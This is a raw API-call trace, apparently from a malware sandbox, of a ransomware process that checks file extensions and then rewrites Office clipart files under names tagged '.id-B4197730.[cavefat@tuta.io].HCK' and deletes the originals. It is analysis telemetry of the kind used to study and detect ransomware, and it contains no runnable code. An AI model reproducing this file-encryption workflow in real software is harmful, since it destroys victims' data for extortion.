[0179.006] lstrlenW (lpString=".rar") returned 4 [0179.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.006] lstrlenW (lpString=".bz2") returned 4 [0179.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.006] lstrlenW (lpString=".7z") returned 3 [0179.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF") returned 68 [0179.006] lstrlenW (lpString=".dbf") returned 4 [0179.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF") returned 68 [0179.006] lstrlenW (lpString=".1cd") returned 4 [0179.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF") returned 68 [0179.006] lstrlenW (lpString=".jpg") returned 4 [0179.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF") returned 68 [0179.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF") returned 68 [0179.007] lstrlenW (lpString=".doc") returned 4 [0179.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.007] lstrlenW (lpString=".docx") returned 5 [0179.007] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.007] lstrlenW (lpString=".pdf") returned 4 [0179.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.007] lstrlenW (lpString=".xls") returned 4 [0179.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.007] lstrlenW (lpString=".xlsx") returned 5 [0179.007] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.007] lstrlenW (lpString=".ppt") returned 4 [0179.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF") returned 68 [0179.007] lstrlenW (lpString=".zip") returned 4 [0179.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.007] lstrlenW (lpString=".rar") returned 4 [0179.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.007] lstrlenW (lpString=".bz2") returned 4 [0179.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.007] lstrlenW (lpString=".7z") returned 3 [0179.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF") returned 68 [0179.007] lstrlenW (lpString=".dbf") returned 4 [0179.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF") returned 68 [0179.007] lstrlenW (lpString=".1cd") returned 4 [0179.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF") returned 68 [0179.007] lstrlenW (lpString=".jpg") returned 4 [0179.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.007] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.007] lstrlenW (lpString="NA02451_.WMF") returned 12 [0179.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02451_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.013] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3440) returned 1 [0179.013] CloseHandle (hObject=0x300) returned 1 [0179.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02451_.wmf")) returned 0x220 [0179.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02451_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.018] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.018] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02451_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.020] GetLastError () returned 0x0 [0179.020] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xd70, lpOverlapped=0x0) returned 1 [0179.022] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xd80, lpOverlapped=0x0) returned 1 [0179.022] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.022] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.022] SetEndOfFile (hFile=0x2fc) returned 1 [0179.025] CloseHandle (hObject=0x2fc) returned 1 [0179.026] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.026] SetEndOfFile (hFile=0x3a4) returned 1 [0179.030] CloseHandle (hObject=0x3a4) returned 1 [0179.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02451_.wmf")) returned 1 [0179.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF") returned 68 [0179.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF") returned 68 [0179.036] lstrlenW (lpString=".doc") returned 4 [0179.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.036] lstrlenW (lpString=".docx") returned 5 [0179.036] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.036] lstrlenW (lpString=".pdf") returned 4 [0179.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.036] lstrlenW (lpString=".xls") returned 4 [0179.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.036] lstrlenW (lpString=".xlsx") returned 5 [0179.036] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.036] lstrlenW (lpString=".ppt") returned 4 [0179.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF") returned 68 [0179.036] lstrlenW (lpString=".zip") returned 4 [0179.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.036] lstrlenW (lpString=".rar") returned 4 [0179.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.036] lstrlenW (lpString=".bz2") returned 4 [0179.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.036] lstrlenW (lpString=".7z") returned 3 [0179.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF") returned 68 [0179.036] lstrlenW (lpString=".dbf") returned 4 [0179.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF") returned 68 [0179.036] lstrlenW (lpString=".1cd") returned 4 [0179.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF") returned 68 [0179.036] lstrlenW (lpString=".jpg") returned 4 [0179.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF") returned 68 [0179.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF") returned 68 [0179.036] lstrlenW (lpString=".doc") returned 4 [0179.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.036] lstrlenW (lpString=".docx") returned 5 [0179.036] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.036] lstrlenW (lpString=".pdf") returned 4 [0179.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.036] lstrlenW (lpString=".xls") returned 4 [0179.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.036] lstrlenW (lpString=".xlsx") returned 5 [0179.036] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.036] lstrlenW (lpString=".ppt") returned 4 [0179.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF") returned 68 [0179.037] lstrlenW (lpString=".zip") returned 4 [0179.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.037] lstrlenW (lpString=".rar") returned 4 [0179.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.037] lstrlenW (lpString=".bz2") returned 4 [0179.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.037] lstrlenW (lpString=".7z") returned 3 [0179.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF") returned 68 [0179.037] lstrlenW (lpString=".dbf") returned 4 [0179.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF") returned 68 [0179.037] lstrlenW (lpString=".1cd") returned 4 [0179.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF") returned 68 [0179.037] lstrlenW (lpString=".jpg") returned 4 [0179.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.037] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.037] lstrlenW (lpString="PE00049_.WMF") returned 12 [0179.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00049_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.038] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=16448) returned 1 [0179.038] CloseHandle (hObject=0x2fc) returned 1 [0179.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00049_.wmf")) returned 0x220 [0179.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00049_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.043] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.043] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00049_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.044] GetLastError () returned 0x0 [0179.044] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4040, lpOverlapped=0x0) returned 1 [0179.047] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4050, lpOverlapped=0x0) returned 1 [0179.048] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.048] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.048] SetEndOfFile (hFile=0x300) returned 1 [0179.049] CloseHandle (hObject=0x300) returned 1 [0179.051] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.051] SetEndOfFile (hFile=0x370) returned 1 [0179.054] CloseHandle (hObject=0x370) returned 1 [0179.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00049_.wmf")) returned 1 [0179.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF") returned 68 [0179.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF") returned 68 [0179.060] lstrlenW (lpString=".doc") returned 4 [0179.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.060] lstrlenW (lpString=".docx") returned 5 [0179.060] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.060] lstrlenW (lpString=".pdf") returned 4 [0179.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.060] lstrlenW (lpString=".xls") returned 4 [0179.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.060] lstrlenW (lpString=".xlsx") returned 5 [0179.060] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.060] lstrlenW (lpString=".ppt") returned 4 [0179.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF") returned 68 [0179.060] lstrlenW (lpString=".zip") returned 4 [0179.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.060] lstrlenW (lpString=".rar") returned 4 [0179.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.060] lstrlenW (lpString=".bz2") returned 4 [0179.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.060] lstrlenW (lpString=".7z") returned 3 [0179.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF") returned 68 [0179.060] lstrlenW (lpString=".dbf") returned 4 [0179.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF") returned 68 [0179.060] lstrlenW (lpString=".1cd") returned 4 [0179.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF") returned 68 [0179.060] lstrlenW (lpString=".jpg") returned 4 [0179.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF") returned 68 [0179.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF") returned 68 [0179.061] lstrlenW (lpString=".doc") returned 4 [0179.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.061] lstrlenW (lpString=".docx") returned 5 [0179.061] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.061] lstrlenW (lpString=".pdf") returned 4 [0179.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.061] lstrlenW (lpString=".xls") returned 4 [0179.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.061] lstrlenW (lpString=".xlsx") returned 5 [0179.061] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.061] lstrlenW (lpString=".ppt") returned 4 [0179.061] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF") returned 68 [0179.061] lstrlenW (lpString=".zip") returned 4 [0179.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.061] lstrlenW (lpString=".rar") returned 4 [0179.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.061] lstrlenW (lpString=".bz2") returned 4 [0179.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.061] lstrlenW (lpString=".7z") returned 3 [0179.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF") returned 68 [0179.061] lstrlenW (lpString=".dbf") returned 4 [0179.061] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF") returned 68 [0179.061] lstrlenW (lpString=".1cd") returned 4 [0179.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF") returned 68 [0179.061] lstrlenW (lpString=".jpg") returned 4 [0179.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.061] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.061] lstrlenW (lpString="PE00272_.WMF") returned 12 [0179.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00272_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.062] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2804) returned 1 [0179.062] CloseHandle (hObject=0x300) returned 1 [0179.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00272_.wmf")) returned 0x220 [0179.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00272_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00272_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.067] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.067] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00272_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.069] GetLastError () returned 0x0 [0179.069] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xaf4, lpOverlapped=0x0) returned 1 [0179.071] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xb00, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xb00, lpOverlapped=0x0) returned 1 [0179.072] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.072] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.072] SetEndOfFile (hFile=0x368) returned 1 [0179.074] CloseHandle (hObject=0x368) returned 1 [0179.075] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.075] SetEndOfFile (hFile=0x3a4) returned 1 [0179.079] CloseHandle (hObject=0x3a4) returned 1 [0179.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00272_.wmf")) returned 1 [0179.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF") returned 68 [0179.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF") returned 68 [0179.084] lstrlenW (lpString=".doc") returned 4 [0179.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.084] lstrlenW (lpString=".docx") returned 5 [0179.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.084] lstrlenW (lpString=".pdf") returned 4 [0179.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.084] lstrlenW (lpString=".xls") returned 4 [0179.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.084] lstrlenW (lpString=".xlsx") returned 5 [0179.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.084] lstrlenW (lpString=".ppt") returned 4 [0179.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF") returned 68 [0179.084] lstrlenW (lpString=".zip") returned 4 [0179.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.084] lstrlenW (lpString=".rar") returned 4 [0179.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.084] lstrlenW (lpString=".bz2") returned 4 [0179.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.084] lstrlenW (lpString=".7z") returned 3 [0179.084] lstrcmpiW 